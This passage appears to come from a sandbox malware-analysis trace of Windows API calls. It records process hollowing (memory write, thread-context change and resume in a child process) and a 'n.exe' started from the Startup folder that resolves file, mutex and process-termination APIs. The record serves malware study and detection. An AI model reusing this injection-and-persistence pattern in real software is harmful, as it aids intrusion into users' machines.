lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x43829c, Ebp=0x0, Eip=0x77ba01c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0180.323] LoadLibraryA (lpLibFileName="ntdll") returned 0x77b90000 [0180.324] NtQueryInformationProcess (in: ProcessHandle=0x1bc, ProcessInformationClass=0x0, ProcessInformation=0x18c3dc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x18c3dc, ReturnLength=0x0) returned 0x0 [0180.324] ReadProcessMemory (in: hProcess=0x1bc, lpBaseAddress=0x7efde000, lpBuffer=0x18c428, nSize=0x1e8, lpNumberOfBytesRead=0x18c61c | out: lpBuffer=0x18c428*, lpNumberOfBytesRead=0x18c61c*=0x1e8) returned 1 [0180.324] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x400000, dwSize=0x19000, flNewProtect=0x4, lpflOldProtect=0x18c628 | out: lpflOldProtect=0x18c628*=0x2) returned 1 [0180.324] WriteProcessMemory (in: hProcess=0x1bc, lpBaseAddress=0x400000, lpBuffer=0x375fa0*, nSize=0x19000, lpNumberOfBytesWritten=0x18c610 | out: lpBuffer=0x375fa0*, lpNumberOfBytesWritten=0x18c610*=0x19000) returned 1 [0180.329] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0180.329] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x20, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0180.329] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x40b000, dwSize=0x2636, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0180.329] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x40e000, dwSize=0xaad5, flNewProtect=0x4, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0180.330] SetThreadContext (hThread=0x1b8, lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x40a9d0, Ebp=0x0, Eip=0x77ba01c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0180.330] ResumeThread (hThread=0x1b8) returned 0x1 [0180.330] ExitProcess (uExitCode=0x0) [0180.331] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x22207d0 | out: hHeap=0x2220000) returned 1 Thread: id = 385 os_tid = 0x70c Thread: id = 393 os_tid = 0x268 Process: id = "39" image_name = "n.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe" page_root = "0x67439000" os_pid = "0x370" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x7dc" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 396 os_tid = 0x4fc [0180.360] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x762e0000 [0180.701] GetProcAddress (hModule=0x762e0000, lpProcName="GetProcAddress") returned 0x762f1222 [0180.701] GetProcAddress (hModule=0x762e0000, lpProcName="GetModuleHandleW") returned 0x762f34b0 [0180.701] GetProcAddress (hModule=0x762e0000, lpProcName="FindNextFileW") returned 0x762f54ee [0180.701] GetProcAddress (hModule=0x762e0000, lpProcName="FindClose") returned 0x762f4442 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="MoveFileW") returned 0x76309af0 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetFileSizeEx") returned 0x762f59e2 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetModuleFileNameW") returned 0x762f4950 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetFileAttributesW") returned 0x762f1b18 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="ExitProcess") returned 0x762f7a10 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetCommandLineW") returned 0x762f5223 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetComputerNameW") returned 0x762fdd0e [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetComputerNameA") returned 0x7630b6e0 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="CreateMutexW") returned 0x762f424c [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="lstrlenW") returned 0x762f1700 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="lstrlenA") returned 0x762f5a4b [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetCurrentProcess") returned 0x762f1809 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="WaitForSingleObject") returned 0x762f1136 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetLogicalDrives") returned 0x762f5371 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="GetTickCount") returned 0x762f110c [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="DeleteFileW") returned 0x762f89b3 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="WideCharToMultiByte") returned 0x762f170d [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x762f1916 [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="Sleep") returned 0x762f10ff [0180.702] GetProcAddress (hModule=0x762e0000, lpProcName="LeaveCriticalSection") returned 0x77bb2270 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="ReadFile") returned 0x762f3ed3 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="CreateFileW") returned 0x762f3f5c [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="OpenMutexW") returned 0x762f5151 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="EnterCriticalSection") returned 0x77bb22b0 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="WaitForMultipleObjects") returned 0x762f4220 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="lstrcmpiW") returned 0x7630d5cd [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="lstrcmpiA") returned 0x762f3e8e [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="DeleteCriticalSection") returned 0x77bc45f5 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="ReleaseMutex") returned 0x762f111e [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="CloseHandle") returned 0x762f1410 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="GetVersion") returned 0x762f4467 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="CreateThread") returned 0x762f34d5 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x762f4173 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="QueryPerformanceCounter") returned 0x762f1725 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="QueryPerformanceFrequency") returned 0x762f41f0 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="GetCurrentProcessId") returned 0x762f11f8 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="SetFileAttributesW") returned 0x7630d4f7 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="GetVolumeInformationW") returned 0x7630c860 [0180.703] GetProcAddress (hModule=0x762e0000, lpProcName="WriteFile") returned 0x762f1282 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="SetFilePointerEx") returned 0x7630c807 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="SetEndOfFile") returned 0x7630ce2e [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="FindFirstFileW") returned 0x762f4435 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="GetProcessHeap") returned 0x762f14e9 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="HeapReAlloc") returned 0x77bd1f6e [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="HeapAlloc") returned 0x77bbe026 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="HeapFree") returned 0x762f14c9 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="CreatePipe") returned 0x7637415b [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="SetHandleInformation") returned 0x7630195c [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="CreateProcessW") returned 0x762f103d [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="CompareStringW") returned 0x762f3bca [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="CompareStringA") returned 0x762f3c5a [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="OpenProcess") returned 0x762f1986 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="TerminateProcess") returned 0x7630d802 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="GetSystemTime") returned 0x762f5a96 [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="SystemTimeToFileTime") returned 0x762f5a7e [0180.704] GetProcAddress (hModule=0x762e0000, lpProcName="GetLastError") returned 0x762f11c0 